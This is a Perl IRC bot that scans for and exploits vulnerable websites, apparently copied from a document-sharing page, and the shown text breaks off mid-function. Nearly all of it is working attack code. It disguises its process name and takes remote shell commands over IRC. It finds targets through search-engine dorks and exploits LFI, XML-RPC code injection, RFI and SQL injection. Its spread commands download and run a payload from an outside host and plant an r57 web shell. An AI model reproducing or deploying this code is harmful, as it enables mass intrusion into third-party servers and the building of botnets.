Está en la página 1de 23

#!

/usr/bin/perl
#####################################################
use HTTP::Request;
use LWP::UserAgent;
use IO::Socket;
use IO::Select;
use IO::Socket::INET;
use Socket;
use HTTP::Request::Common;
use LWP::Simple;
use LWP 5.64;
use HTTP::Request::Common qw(POST);
use Digest::MD5 qw(md5_hex);
use MIME::Base64;
#####################################################
my $fakeproc = "/usr/sbin/apache2 -k start";
$ircserver = "irc.kamtiez.server.or.id";
my $ircport = "6667";
my $nickname = "zensyu";
my $ident = "Ps";
my $channel = "#genit";
my $runner = "zens";
my $fullname = 'Ps-X Scanner';
my $lfi = "!l";
my $xml = "!xml";
my $sql = "!s";
my $rfi = "!r";
my $cmdl = "!xl";
my $cmdx = "!xx";
my $myste = "http://www.johnadamsacademy.com/";
my $lfispread = "cd /tmp;lwp-download ".$myste."go.txt;perl go.txt;rm -rf *.pl
*;wget ".$myste."go.txt;perl go.txt;rm -rf *.pl*"; # Spread LFI
my $xmlspread = "cd /tmp;lwp-download ".$myste."go.txt;perl go.txt;rm -rf *.pl
*;wget ".$myste."go.txt;perl go.txt;rm -rf *.pl*"; # Spread XML
my $rsp_test = "../../../../../../../../../../../../../../../proc/self/environ
%00";
my $rsp_shell = $myste."r57";
my $rfispread = $myste."phpds.txt???";
my $rfiid = $myste."id.txt???";
#####################################3
$SIG{'INT'} = 'IGNORE';
$SIG{'HUP'} = 'IGNORE';
$SIG{'TERM'} = 'IGNORE';
$SIG{'CHLD'} = 'IGNORE';
$SIG{'PS'} = 'IGNORE';
chdir("/tmp");
$ircserver="$ARGV[0]" if $ARGV[0];
$0 = "$fakeproc"."\0"x16;;
my $pid = fork;
exit if $pid;
die "\n [!] erorr !!!: $!" unless defined($pid);
our %irc_servers;
our %DCC;
my $dcc_sel = new IO::Select->new();
$sel_client = IO::Select->new();
sub sendraw {
if ($#_ == '1') {
my $socket = $_[0];
print $socket "$_[1]\n";
} else {
print $IRC_cur_socket "$_[0]\n";
}
}
sub connector {
my $mynick = $_[0];
my $ircserver_con = $_[1];
my $ircport_con = $_[2];
my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$ircserver_c
on", PeerPort=>$ircport_con) or return(1);
if (defined($IRC_socket)) {
$IRC_cur_socket = $IRC_socket;
$IRC_socket->autoflush(1);
$sel_client->add($IRC_socket);
$irc_servers{$IRC_cur_socket}{'host'} = "$ircserver_con";
$irc_servers{$IRC_cur_socket}{'port'} = "$ircport_con";
$irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
$irc_servers{$IRC_cur_socket}{'myip'} = $IRC_socket->sockhost;
nick("$mynick");
sendraw("USER $ident ".$IRC_socket->sockhost." $ircserver_con :$fullname
");
sleep 1;
}
}
sub parse {
my $servarg = shift;
if ($servarg =~ /^PING \:(.*)/) {
sendraw("PONG :$1");
} elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
my $pn=$1; my $hostmask= $3; my $onde = $4; my $args = $5;
if ($args =~ /^\001VERSION\001$/) {
notice("$pn", "\001VERSION mIRC v6.17 Khaled Mardam-Bey\001");
}
if ($args =~ /^(\Q$mynick\E|\!a)\s+(.*)/ ) {
my $natrix = $1;
my $arg = $2;
}
}
elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
if (lc($1) eq lc($mynick)) {
$mynick=$4;
$irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
}
} elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
nick("$mynick|".int rand(999));
} elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
$mynick = $2;
$irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
$irc_servers{$IRC_cur_socket}{'nome'} = "$1";
sendraw("MODE $nickname +Bx");
sendraw("JOIN $channel");
sendraw("PRIVMSG $channel :I'm Ready");
sendraw("PRIVMSG $runner :Hi $runner I Love You !!!");
}
}
my $line_temp;
while( 1 ) {
while (!(keys(%irc_servers))) { connector("$nickname", "$ircserver", "$ircpo
rt"); }
delete($irc_servers{''}) if (defined($irc_servers{''}));
my @ready = $sel_client->can_read(0);
next unless(@ready);
foreach $fh (@ready) {
$IRC_cur_socket = $fh;
$mynick = $irc_servers{$IRC_cur_socket}{'nick'};
$nread = sysread($fh, $msg, 4096);
if ($nread == 0) {
$sel_client->remove($fh);
$fh->close;
delete($irc_servers{$fh});
}
@lines = split (/\n/, $msg);
$msg =~ s/\r\n$//;
if ($msg=~ /PRIVMSG $channel :!help/){
sendraw($IRC_cur_socket, "PRIVMSG $channel :1(14@12Help1) 1 2,15 $lfi <lfi
bug> <dork> | $sql <lfibug> <dork> | $xml <lfibug> <dork>");
sendraw($IRC_cur_socket, "PRIVMSG $channel :1(14@12Help1) 1 2,15 | !engine
| !pid | !versi | !about | !kill ");
}
if ($msg=~ /PRIVMSG $channel :!engine/){
sendraw($IRC_cur_socket, "PRIVMSG $channel :1(14@12Engine1)14 Google, Bin
g, AllTheWeb, Altavista, ASK, UOL, Yahoo. ");
}
if ($msg=~ /PRIVMSG $channel :!pid/){
sendraw($IRC_cur_socket, "PRIVMSG $channel :1(14@12PID1)12 Process/ID : 14
$fakeproc -12 $$");
}
##################################################################### CM
D IRC
if ($msg=~ /PRIVMSG $channel :!enc\s+(.*)/){
my $enc = $1;
&enc($enc);
}
if ($msg=~ /PRIVMSG $channel :!dec\s+(.*)/){
my $dec = $1;
&dec($dec);
}
if ($msg=~ /PRIVMSG $channel :!btjoin\s+(.*)/){
my $cnls = $1;
&join($cnls);
}
if ($msg=~ /PRIVMSG $channel :!btpart\s+(.*)/){
my $cnls = $1;
&part($cnls);
}
if ($msg=~ /PRIVMSG $channel :!btquit\s+(.*)/){
my $cnls = $1;
&quit($cnls);
}
if ($msg=~ /PRIVMSG $channel :!chweb\s+(.*)/){
$newmyste = $1;
$myste = $newmyste;
sendraw($IRC_cur_socket, "PRIVMSG $channel :1(14@12Info1)12 W
ebsite response changed !");
}
if ($msg=~ /PRIVMSG $channel :!respon/){
my $re = query($rfiid);
if ( $re =~ /secret/ ) {
sendraw($IRC_cur_socket, "PRIVMSG $channel :1(14@12Info1)12 Response
is working !");
}
else {
sendraw($IRC_cur_socket, "PRIVMSG $channel :1(14@12Info1)12 Response
is 14NOT12 working !");
}
}
if ($msg=~ /PRIVMSG $channel :!exec\s+(.*)/){
my $cmd = $1;
if ($msg =~ /cd (.*)/) {
chdir("$1") || sendraw($IRC_cur_socket, "PRIVMSG $channel :1(14@12S
hell1)12 Can't change dir !");
return;
}
my @output = `$1`;
foreach my $out(@output) {
sendraw($IRC_cur_socket, "PRIVMSG $channel :1(14@12
Shell1)12 $out ");
}
exit;
}
##################################################################### CM
D LFI
if ($msg=~ /PRIVMSG $channel :$cmdl\s+(.*?)\s+(.*)/){
my $url = $1."../../../../../../../../../../../../../../
../proc/self/environ%00";
my $cmd = $2;
&cmdlfi($url,$cmd);
}
##################################################################### Go
ogle Engine
if ($msg=~ /PRIVMSG $channel :$lfi\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "GooGLe";
my $bugx = $1;
my $d0rk = $2;
sendraw($IRC_cur_socket, "PRIVMSG $channel :1(14@12LFI1)4 Dork :12
$d0rk");
sendraw($IRC_cur_socket, "PRIVMSG $channel :1(14@12LFI1)4 File :12
$bugx");
sendraw($IRC_cur_socket, "PRIVMSG $channel :1(14@12LFI1)12 Search
Engine Loading ...");
&lfiscan($engx,$bugx,$d0rk);
}
exit;
}
}
##################################################################### Al
lTheWeb Engine
if ($msg=~ /PRIVMSG $channel :$lfi\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "AllTheWeb";
my $bugx = $1;
my $d0rk = $2;
&lfiscan($engx,$bugx,$d0rk);
}
exit;
}
}
##################################################################### Bi
ng Engine
if ($msg=~ /PRIVMSG $channel :$lfi\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "Bing";
my $bugx = $1;
my $d0rk = $2;
&lfiscan($engx,$bugx,$d0rk);
}
exit;
}
}
##################################################################### Al
tavista Engine
if ($msg=~ /PRIVMSG $channel :$lfi\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "ALtaViSTa";
my $bugx = $1;
my $d0rk = $2;
&lfiscan($engx,$bugx,$d0rk);
}
exit;
}
}
##################################################################### AS
K Engine
if ($msg=~ /PRIVMSG $channel :$lfi\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "AsK";
my $bugx = $1;
my $d0rk = $2;
&lfiscan($engx,$bugx,$d0rk);
}
exit;
}
}
##################################################################### Uo
L Engine
if ($msg=~ /PRIVMSG $channel :$lfi\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "UoL";
my $bugx = $1;
my $d0rk = $2;
&lfiscan($engx,$bugx,$d0rk);
}
exit;
}
}
##################################################################### Ya
hoo Engine
if ($msg=~ /PRIVMSG $channel :$lfi\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "YahOo";
my $bugx = $1;
my $d0rk = $2;
&lfiscan($engx,$bugx,$d0rk);
}
exit;
}
}
##################### XML ###################
if ($msg=~ /PRIVMSG $channel :$cmdx\s+(.*?)\s+(.*)/){
my $url = $1;
my $cmd = $2;
&cmdxml($url,$cmd);
}
##################################################################### Go
oGle Engine
if ($msg=~ /PRIVMSG $channel :$xml\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "GooGLe";
my $bugx = $1;
my $d0rk = $2;
sendraw($IRC_cur_socket, "PRIVMSG $channel :1(14@12XML1)4 Dork :12
$d0rk");
sendraw($IRC_cur_socket, "PRIVMSG $channel :1(14@12XML1)4 File :12
$bugx");
sendraw($IRC_cur_socket, "PRIVMSG $channel :1(14@12XML1)12 Search
Engine Loading ...");
&xmlscan($engx,$bugx,$d0rk);
}
exit;
}
}
##################################################################### Al
lTheWeb Engine
if ($msg=~ /PRIVMSG $channel :$xml\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "AllTheWeb";
my $bugx = $1;
my $d0rk = $2;
&xmlscan($engx,$bugx,$d0rk);
}
exit;
}
}
##################################################################### Bi
ng Engine
if ($msg=~ /PRIVMSG $channel :$xml\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "Bing";
my $bugx = $1;
my $d0rk = $2;
&xmlscan($engx,$bugx,$d0rk);
}
exit;
}
}
##################################################################### Al
tavista Engine
if ($msg=~ /PRIVMSG $channel :$xml\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "ALtaViSTa";
my $bugx = $1;
my $d0rk = $2;
&xmlscan($engx,$bugx,$d0rk);
}
exit;
}
}
##################################################################### AS
K Engine
if ($msg=~ /PRIVMSG $channel :$xml\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "AsK";
my $bugx = $1;
my $d0rk = $2;
&xmlscan($engx,$bugx,$d0rk);
}
exit;
}
}
##################################################################### Uo
L Engine
if ($msg=~ /PRIVMSG $channel :$xml\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "UoL";
my $bugx = $1;
my $d0rk = $2;
&xmlscan($engx,$bugx,$d0rk);
}
exit;
}
}
##################################################################### Ya
hoo Engine
if ($msg=~ /PRIVMSG $channel :$xml\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "YahOo";
my $bugx = $1;
my $d0rk = $2;
&xmlscan($engx,$bugx,$d0rk);
}
exit;
}
}

############################## RFI ###################


##################################################################### Go
oGle Engine
if ($msg=~ /PRIVMSG $channel :$rfi\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "GooGLe";
my $bugx = $1;
my $d0rk = $2;
sendraw($IRC_cur_socket, "PRIVMSG $channel :1(14@12RFI1)4 Dork :12
$d0rk");
sendraw($IRC_cur_socket, "PRIVMSG $channel :1(14@12RFI1)4 File :12
$bugx");
sendraw($IRC_cur_socket, "PRIVMSG $channel :1(14@12RFI1)12 Search
Engine Loading ...");
&rfiscan($engx,$bugx,$d0rk);
}
exit;
}
}
##################################################################### Al
lTheWeb Engine
if ($msg=~ /PRIVMSG $channel :$rfi\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "AllTheWeb";
my $bugx = $1;
my $d0rk = $2;
&rfiscan($engx,$bugx,$d0rk);
}
exit;
}
}
##################################################################### Bi
ng Engine
if ($msg=~ /PRIVMSG $channel :$rfi\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "Bing";
my $bugx = $1;
my $d0rk = $2;
&rfiscan($engx,$bugx,$d0rk);
}
exit;
}
}
##################################################################### Al
tavista Engine
if ($msg=~ /PRIVMSG $channel :$rfi\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "ALtaViSTa";
my $bugx = $1;
my $d0rk = $2;
&rfiscan($engx,$bugx,$d0rk);
}
exit;
}
}
##################################################################### AS
K Engine
if ($msg=~ /PRIVMSG $channel :$rfi\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "AsK";
my $bugx = $1;
my $d0rk = $2;
&rfiscan($engx,$bugx,$d0rk);
}
exit;
}
}
##################################################################### Uo
L Engine
if ($msg=~ /PRIVMSG $channel :$rfi\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "UoL";
my $bugx = $1;
my $d0rk = $2;
&rfiscan($engx,$bugx,$d0rk);
}
exit;
}
}
##################################################################### Ya
hoo Engine
if ($msg=~ /PRIVMSG $channel :$rfi\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "YahOo";
my $bugx = $1;
my $d0rk = $2;
&rfiscan($engx,$bugx,$d0rk);
}
exit;
}
}
################################################################
#####
##################### SQL SQL SQL ###################
##################################################################### Go
oGle Engine
if ($msg=~ /PRIVMSG $channel :$sql\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "GooGLe";
my $bugx = $1;
my $d0rk = $2;
sendraw($IRC_cur_socket, "PRIVMSG $channel :1(14@12SQL1)4 Dork :12
$d0rk");
sendraw($IRC_cur_socket, "PRIVMSG $channel :1(14@12SQL1)4 File :12
$bugx");
sendraw($IRC_cur_socket, "PRIVMSG $channel :1(14@12SQL1)12 Search
Engine Loading ...");
&sqlscan($engx,$bugx,$d0rk);
}
exit;
}
}
##################################################################### Al
lTheWeb Engine
if ($msg=~ /PRIVMSG $channel :$sql\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "AllTheWeb";
my $bugx = $1;
my $d0rk = $2;
&sqlscan($engx,$bugx,$d0rk);
}
exit;
}
}
##################################################################### Bi
ng Engine
if ($msg=~ /PRIVMSG $channel :$sql\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "Bing";
my $bugx = $1;
my $d0rk = $2;
&sqlscan($engx,$bugx,$d0rk);
}
exit;
}
}
##################################################################### Al
tavista Engine
if ($msg=~ /PRIVMSG $channel :$sql\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "ALtaViSTa";
my $bugx = $1;
my $d0rk = $2;
&sqlscan($engx,$bugx,$d0rk);
}
exit;
}
}
##################################################################### AS
K Engine
if ($msg=~ /PRIVMSG $channel :$sql\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "AsK";
my $bugx = $1;
my $d0rk = $2;
&sqlscan($engx,$bugx,$d0rk);
}
exit;
}
}
##################################################################### Uo
L Engine
if ($msg=~ /PRIVMSG $channel :$sql\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "UoL";
my $bugx = $1;
my $d0rk = $2;
&sqlscan($engx,$bugx,$d0rk);
}
exit;
}
}
##################################################################### Ya
hoo Engine
if ($msg=~ /PRIVMSG $channel :$sql\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "YahOo";
my $bugx = $1;
my $d0rk = $2;
&sqlscan($engx,$bugx,$d0rk);
}
exit;
}
}
for(my $c=0; $c<= $#lines; $c++) {
$line = $lines[$c];
$line=$line_temp.$line if ($line_temp);
$line_temp='';
$line =~ s/\r$//;
unless ($c == $#lines) {
parse("$line");
} else {
if ($#lines == 0) {
parse("$line");
} elsif ($lines[$c] =~ /\r$/) {
parse("$line");
} elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
parse("$line");
} else {
$line_temp = $line;
}
}
}
}
}
##################################################################### Procedure
sub cmdlfi() {
my $browser = LWP::UserAgent->new;
my $url = $_[0];
my $cmd = $_[1];
my $hie = "ng3tes<?system(\"$cmd 2> /dev/stdout\"); ?>ng3tes";
$browser->agent("$hie");
$browser->timeout(3);
$response = $browser->get( $url );
if ($response->content =~ /ng3tes(.*)ng3tes/s) {
print $1;
sendraw($IRC_cur_socket, "PRIVMSG $channel :1(14@12LCMD1)12 $1");
}
}
sub lfiscan() {
my $engz = $_[0];
my $bugz = $_[1];
my $dork = $_[2];
my $contatore = 0;
if ($engz =~ /GooGLe/) {
my @lfigoogle=&google($dork);
push(@lfitotal, @lfigoogle);
}
if ($engz =~ /AllTheWeb/) {
my @lfialltheweb=&alltheweb($dork);
push(@lfitotal, @lfialltheweb);
}
if ($engz =~ /Bing/) {
my @lfiBing=&Bing($dork);
push(@lfitotal, @lfiBing);
}
if ($engz =~ /ALtaViSTa/) {
my @lfialtavista=&altavista($dork);
push(@lfitotal, @lfialtavista);
}
if ($engz =~ /AsK/) {
my @lfiask=&ask($dork);
push(@lfitotal, @lfiask);
}
if ($engz =~ /UoL/) {
my @lfiuol=&uol($dork);
push(@lfitotal, @lfiuol);
}
if ($engz =~ /YahOo/) {
my @lfiyahoo=&yahoo($dork);
push(@lfitotal, @lfiyahoo);
}
my @lficlean = &calculate(@lfitotal);
if (scalar(@clean) != 0) {
}
my $uni=scalar(@lficlean);
foreach my $lfitarget (@lficlean)
{
$contatore++;
if ($contatore==$uni-1){
sendraw($IRC_cur_socket, "PRIVMSG $channel :1(14@12LFI1)(14@12$engz1)14 Scan
Finish for15 $dork");
}
my $lfi = "../../../../../../../../../../../../../../..";
my $xpl = "http://".$lfitarget.$bugz.$rsp_test;
my $vuln = "http://".$lfitarget."12".$bugz."7".$rsp_test."";
my $re = getcontent($xpl);
if ($re =~ /DOCUMENT_ROOT=\// && $re =~ /HTTP_USER_AGENT/){
if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; }
else {
my $rspo = lfiexploit($xpl,"uname -svnrp;echo J13mb0T;id");
$rspo =~ s/\n//g;
if ($rspo =~ /ng3tes#(.*)ng3tesuid=(.*)#ng3tes/sg) {
my ($sys,$uid) = ($1,$2);
my $tmp = "/tmp/cmd".int rand(2010);
my $upload = lfiexploit($xpl,"wget $rsp_shell -O $tmp;$lfisp
read"); sleep(1);
my $res = getcontent("http://".$lfitarget.$bugz.$lfi.$tmp.'%
00');
if ($res =~ /zens/) {
sendraw($IRC_cur_socket, "PRIVMSG $channel :1(14@12LFI1)(14@12
$engz1)1(13@12PHPSheLL1)14 http://".$lfitarget."12".$bugz."6".$lfi."7".$tmp."%00 1(7@12".$s
s."1)");
sendraw($IRC_cur_socket, "PRIVMS
G zens :1(14@12LFI1)(14@12$engz1)1(13@12PHPSheLL1)14 http://".$lfitarget."12".$bugz."6".$lf
".$tmp."%00 1(7@12".$sys."1)");
}
else {
sendraw($IRC_cur_socket, "PRIVMSG $channel :1(14@12LFI1)(14@12
$engz1)1(13@12System1)14 http://".$lfitarget."12".$bugz."6[LFI] 1(7@12".$sys." 7uid=".$uid.
)");
sendraw($IRC_cur_socket, "PRIVMS
G zens :1(14@12LFI1)(14@12$engz1)1(13@12System1)14 http://".$lfitarget."12".$bugz."6[LFI] 1
.$sys." 7uid=".$uid."1)");
}
}
else {
sendraw($IRC_cur_socket, "PRIVMSG $channel :1(14@12LFI1)(14@12$eng
z1)1(13@12Vuln1)12 ".$vuln." 4");
sendraw($IRC_cur_socket, "PRIVMSG zens :1
(14@12LFI1)(14@12$engz1)1(13@12Vuln1)12 ".$vuln." 4");
}
} exit } sleep(3);
}
}
}
sub cmdxml() {
my $jed = $_[0];
my $dwa = $_[1];
my $userAgent = LWP::UserAgent->new(agent => 'perl post');
$exploit = "<?xml version=\"1.0\"?><methodCall>";
$exploit .= "<methodName>test.method</methodName>";
$exploit .= "<params><param><value><name>',''));";
$exploit .= "echo'zens';echo`".$dwa."`;echo'solo';exit;/*</name></value>
</param></params></methodCall>";
my $response = $userAgent->request(POST $jed,Content_Type => 'text/xml',Content
=> $exploit);
if ($response->content =~ /zens(.*)solo/s) {
sendraw($IRC_cur_socket, "PRIVMSG $channel :1(14@12XCMD1)14 $1");
}
}
sub xmlscan() {
my $engz = $_[0];
my $bugz = $_[1];
my $dork = $_[2];
my $contatore = 0;
if ($engz =~ /GooGLe/) {
my @xmlgoogle=&google($dork);
push(@xmltotal, @xmlgoogle);
}
if ($engz =~ /AllTheWeb/) {
my @xmlalltheweb=&alltheweb($dork);
push(@xmltotal, @xmlalltheweb);
}
if ($engz =~ /Bing/) {
my @xmlBing=&Bing($dork);
push(@xmltotal, @xmlBing);
}
if ($engz =~ /ALtaViSTa/) {
my @xmlaltavista=&altavista($dork);
push(@xmltotal, @xmlaltavista);
}
if ($engz =~ /AsK/) {
my @xmlask=&ask($dork);
push(@xmltotal, @xmlask);
}
if ($engz =~ /UoL/) {
my @xmluol=&uol($dork);
push(@xmltotal, @xmluol);
}
if ($engz =~ /YahOo/) {
my @xmlyahoo=&yahoo($dork);
push(@xmltotal, @xmlyahoo);
}
my @xmlclean = &calculate(@xmltotal);
if (scalar(@xmlclean) != 0) {
}
my $uni=scalar(@xmlclean);
foreach my $xmltarget (@xmlclean)
{
$contatore++;
if ($contatore==$uni-1){
sendraw($IRC_cur_socket, "PRIVMSG $channel :1(14@12XML1)(14@12$engz1)14 Scan
Finish for15 $dork");
}
my $xpl = "http://".$xmltarget.$bugz;
my $strona = getcontent($xpl);
if ( $strona =~ /faultCode/ ) {
xmlcek($xpl);
xmlvuln($xpl);
xmlxspread($xpl,$xmlspread);
sendraw($IRC_cur_socket, "PRIVMSG $channel :1(14@12XML1) -=(4
$shellx1)=-12 $os ");
sendraw($IRC_cur_socket, "PRIVMSG zens :1(14@12XML1) -=(4$she
llx1)=-12 $os ");
}
}
}
sub rfiscan() {
my $engz = $_[0];
my $bugz = $_[1];
my $dork = $_[2];
my $contatore = 0;
if ($engz =~ /GooGLe/) {
my @rfigoogle=&google($dork);
push(@rfitotal, @rfigoogle);
}
if ($engz =~ /AllTheWeb/) {
my @rfialltheweb=&alltheweb($dork);
push(@rfitotal, @rfialltheweb);
}
if ($engz =~ /Bing/) {
my @rfiBing=&Bing($dork);
push(@rfitotal, @rfiBing);
}
if ($engz =~ /ALtaViSTa/) {
my @rfialtavista=&altavista($dork);
push(@rfitotal, @rfialtavista);
}
if ($engz =~ /AsK/) {
my @rfiask=&ask($dork);
push(@rfitotal, @rfiask);
}
if ($engz =~ /UoL/) {
my @rfiuol=&uol($dork);
push(@rfitotal, @rfiuol);
}
if ($engz =~ /YahOo/) {
my @rfiyahoo=&yahoo($dork);
push(@rfitotal, @rfiyahoo);
}
my @rficlean = &calculate(@rfitotal);
if (scalar(@rficlean) != 0) {
}
my $uni=scalar(@rficlean);
foreach my $rfitarget (@rficlean)
{
$contatore++;
if ($contatore==$uni-1){
sendraw($IRC_cur_socket, "PRIVMSG $channel :1(14@12RFI1)(14@12$engz1)14 Scan
Finish for15 $dork");
}
my $rfixpl = "http://".$rfitarget.$bugz.$rfiid;
my $rfispd = "http://".$rfitarget.$bugz.$rfispread;
my $inj = "http://".$rfitarget."12".$bugz."7[PHP-SHELL]?";
my $re = getcontent($rfixpl);
if ($re =~ /zens/){
getcontent($rfispd);
os($rfixpl);
sendraw($IRC_cur_socket, "PRIVMSG $channel :1(14@12RFI1)2$inj1
2 $os");
sendraw($IRC_cur_socket, "PRIVMSG zens :1(14@12RFI1)2$inj12 $o
s");
}
}
}
sub sqlscan() {
my $engz = $_[0];
my $bugz = $_[1];
my $dork = $_[2];
my $contatore = 0;
if ($engz =~ /GooGLe/) {
my @sqlgoogle=&google($dork);
push(@sqltotal, @sqlgoogle);
}
if ($engz =~ /AllTheWeb/) {
my @sqlalltheweb=&alltheweb($dork);
push(@sqltotal, @sqlalltheweb);
}
if ($engz =~ /Bing/) {
my @sqlBing=&Bing($dork);
push(@sqltotal, @sqlBing);
}
if ($engz =~ /ALtaViSTa/) {
my @sqlaltavista=&altavista($dork);
push(@sqltotal, @sqlaltavista);
}
if ($engz =~ /AsK/) {
my @sqlask=&ask($dork);
push(@sqltotal, @sqlask);
}
if ($engz =~ /UoL/) {
my @sqluol=&uol($dork);
push(@sqltotal, @sqluol);
}
if ($engz =~ /YahOo/) {
my @sqlyahoo=&yahoo($dork);
push(@sqltotal, @sqlyahoo);
}
my @sqlclean = &calculate(@sqltotal);
if (scalar(@sqlclean) != 0) {
}
my $uni=scalar(@sqlclean);
foreach my $sqltarget (@sqlclean)
{
$contatore++;
if ($contatore==$uni-1){
sendraw($IRC_cur_socket, "PRIVMSG $channel :1(14@12SQL1)(14@12$engz1)14 Scan Fin
ish for15 $dork");
}
my $xpl = "http://".$sqltarget.$bugz."'";
my $vuln = "http://".$sqltarget."12".$bugz."7[SQL]";
my $strona = getcontent($xpl);
if ( $strona =~ m/You have an error in your SQL syntax/i || $strona =~ m
/Query failed/i || $strona =~ m/SQL query failed/i )
{sendraw($IRC_cur_socket, "PRIVMSG $channel :1(14@12SQL1)(2MySQL1)14 $v
uln ");}
elsif ( $strona =~ m/ODBC SQL Server Driver/i || $strona =~ m/Un
closed quotation mark/i || $strona =~ m/Microsoft OLE DB Provider for/i )
{sendraw($IRC_cur_socket, "PRIVMSG $channel :1(14@12SQL1)(2MsSQL1)14 $v
uln ");}
elsif ( $strona =~ m/Microsoft JET Database/i || $strona =~ m/OD
BC Microsoft Access Driver/i )
{sendraw($IRC_cur_socket, "PRIVMSG $channel :1(14@12SQL1)(2MsAccess1)14
$vuln ");}
}
}
sub enc()
{
my $md5_hash = $1;
my $md5_generated = md5_hex($md5_hash);
sendraw($IRC_cur_socket, "PRIVMSG $channel :1(14@12md5 Encode1)4 $md5_generated");
}
sub dec()
{
my $md5 = $1;
my $crac = 'http://md5.noisette.ch/md5.php?hash='.$md5;
my $found = getcontent($crac);
if ($found =~ /<string><!\[CDATA\[(.*)\]\]><\/string>/)
{
sendraw($IRC_cur_socket, "PRIVMSG $channel :1(14@12md5 Deco
de1)4 $1");
}
else
{
sendraw($IRC_cur_socket, "PRIVMSG $channel :1(14@12md5 Deco
de1)4 $1");
}
}
sub xmlcek {
my $xmltgt = $_[0];
my $userAgent = LWP::UserAgent->new(agent => 'perl post');
$exploit = "<?xml version=\"1.0\"?><methodCall>";
$exploit .= "<methodName>test.method</methodName>";
$exploit .= "<params><param><value><name>',''));";
$exploit .= "echo'j13mb0t';echo`uname -a`;echo'j13mb0t';exit;/*</name></
value></param></params></methodCall>";
my $response = $userAgent->request(POST $xmltgt, Content_Type => 'text/xml', Con
tent => $exploit);
if ($response->content =~ /j13mb0t(.*)j13mb0t/s) {
$os=$1;
}}
sub xmlvuln {
my $xmltargt = $_[0];
my $userAgent = LWP::UserAgent->new(agent => 'perl post');
$exploit = "<?xml version=\"1.0\"?><methodCall>";
$exploit .= "<methodName>test.method</methodName>";
$exploit .= "<params><param><value><name>',''));";
$exploit .= "echo 'J1mb0'.'T';exit;/*</name></value></param></params></m
ethodCall>";
my $response = $userAgent->request(POST $xmltargt, Content_Type => 'text/xml', C
ontent => $exploit);
if ($response->content =~ /J1mb0T/) {
$shellx=$xmltargt;
}}
sub xmlxspread() {
my $xmltargt = $_[0];
my $xmlsprd = $_[1];
my $userAgent = LWP::UserAgent->new(agent => 'perl post');
$exploit = "<?xml version=\"1.0\"?><methodCall>";
$exploit .= "<methodName>test.method</methodName>";
